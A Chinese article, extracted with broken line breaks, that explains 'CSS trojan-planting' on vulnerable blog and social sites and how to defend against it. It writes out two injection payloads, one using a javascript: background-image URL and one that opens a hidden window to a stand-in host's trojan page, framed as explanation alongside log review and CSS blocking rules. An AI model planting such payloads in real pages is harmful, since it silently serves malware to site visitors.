background image

CSS 挂马攻防实录

CSS 挂马方式较多,但主流的方式是通过有漏洞的博客或者 SNS 社交网站系统,将

恶意的

CSS 代码写入支持 CSS 功能的个性化页面中。下面我们以典型的 CSS 挂马方式为例

进行讲解。

方式

1:

  

Body{

background-image: url('JavaScript:document.write("")')
}
  

“background-image”在 CSS 中的主要功能是用来定义页面的背景图片。这是最典型的

CSS 挂马方式,这段恶意代码主要是通过“background-image”配合 JavaScript 代码让网页木
马悄悄地在用户的电脑中运行。
  那如何将这段

CSS 恶意代码挂到正常的网页中去呢?黑客可以将生成好的网页木马放

到自己指定的位置,然后将该段恶意代码写入挂马网站的网页中,或者挂马网页所调用的
CSS 文件中。
  小百科:使用

Body 对象元素,主要是为了让对象不再改变整个网页文档的内容,通

Body 对象的控制,可以将内容或者效果控制在指定的大小内,如同使用 DIV 对象那样

精确地设置大小。

  方式

2:

  

Body{

background-image: 

url(JavaScript:open(' 

http://www.X.com 

/muma.htm 

','newwindow' ,'height=0, width=0, top=1000, left=0, toolbar=no, menubar=no,

 

scrollbars=no, resizable=no,location=no, status=no'))
}
 

  方式 1 的 CSS 挂马技术,在运行时会出现空白的页面,影响网页访问者正常的访问,

因此比较容易发现。不过在方式

2 中的这段代码,使用了 JavaScript 的 Open 开窗,通过新

开一个隐藏的窗口,在后台悄悄地运行新窗口并激活访问网页溢出木马页面,不会影响访
问者观看网页内容,因此更

 加隐蔽。

  防网络服务器被挂马,通常会出现防病毒软件告警之类的信息。由于漏洞不断更新,挂
马种类时刻都在变换,通过客户端的反映来发现服务器是否被挂马往往疏漏较大。正确的做
法是经常检查服务器日志,发现异常信息,经常检查网站代码,使用网页木马检测系统,
进行排查。
  目前除了使用以前的阻断弹出窗口防范

CSS 挂马之外,还可以在网页中设置 CSS 过滤,

CSS 过滤掉。不过如果你选择过滤 CSS 的话,首先需要留意自己的相关网页是否有 CSS

的内容,因此我们仍然首推用阻断方式来防范

CSS。阻断代码如下所示:

  

iframe{miao1:expression(this.src='about:blank',this.outerHTML='');}

script{miao2:expression(if(this.src.indexOf('http')==0)this.src='res://ieframe.dll/dnserror.htm');}

  将外域的木马代码的

src 重写成本地 IE404 错误页面的地址,这样,外域的

JavaScript 
代码不会被下载。不过阻断方式也有天生致命的弱点。

找互联网资料,就到一览互联网文库

http://wk.yl1001.com/hlw/